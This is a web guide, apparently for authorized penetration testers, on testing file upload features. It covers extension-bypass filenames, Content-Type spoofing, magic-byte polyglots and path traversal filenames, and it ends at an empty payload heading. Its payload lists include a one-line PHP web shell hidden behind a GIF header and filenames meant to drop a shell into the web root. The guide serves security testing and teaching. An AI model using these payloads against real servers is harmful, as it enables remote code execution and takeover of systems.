Home GuidesFile Upload Vulnerabilities Testing Guide

File Upload Vulnerabilities Testing Guide

Comprehensive guide to testing file upload functionality for web shell uploads, extension bypasses, content-type manipulation, and path traversal.

Intermediate

6 steps21 payload examples~60 min

Authorized testing only. Only use these techniques on systems you have explicit permission to test.

Identify upload functionality

Find all file upload endpoints: profile picture uploads, document submission forms, import features, and API endpoints accepting file uploads. Note the allowed file types and size limits shown in the UI.

Example payloads

test.jpg (legitimate upload)

test.txt (test accepted types)

Test extension restrictions

Try uploading executable file extensions. If blocked, test bypass techniques: double extensions, null bytes, case variations, and alternative executable extensions.

Example payloads

shell.php

shell.php.jpg

shell.pHp

shell.php%00.jpg

shell.phtml

shell.php5

shell.shtml

Manipulate Content-Type

Intercept the upload request and change the Content-Type header. Some applications validate only the MIME type, not the actual file content or extension.

Example payloads

Content-Type: image/jpeg (with PHP content)

Content-Type: image/png (with JSP content)

Content-Type: application/octet-stream

Test magic bytes and polyglots

Add valid file headers (magic bytes) to malicious files, or create polyglot files that are valid images AND executable scripts. This bypasses content-based validation.

Example payloads

GIF89a; <?php system($_GET["cmd"]); ?>

\xFF\xD8\xFF\xE0 + PHP code (JPEG header)

%PDF-1.5 + embedded JavaScript

Test path traversal in filename

Attempt to control where the file is stored by including directory traversal sequences in the filename. This can overwrite critical files or place the shell in a web-accessible directory.

Example payloads

../../../var/www/html/shell.php

..\..\..\inetpub\wwwroot\shell.aspx

file.php%2f..%2f..%2fshell.php

Locate and access the uploaded file

Find the URL where uploaded files are served. Check the response for file paths, try common upload directories, and test if the file executes as code when accessed directly.

Example payloads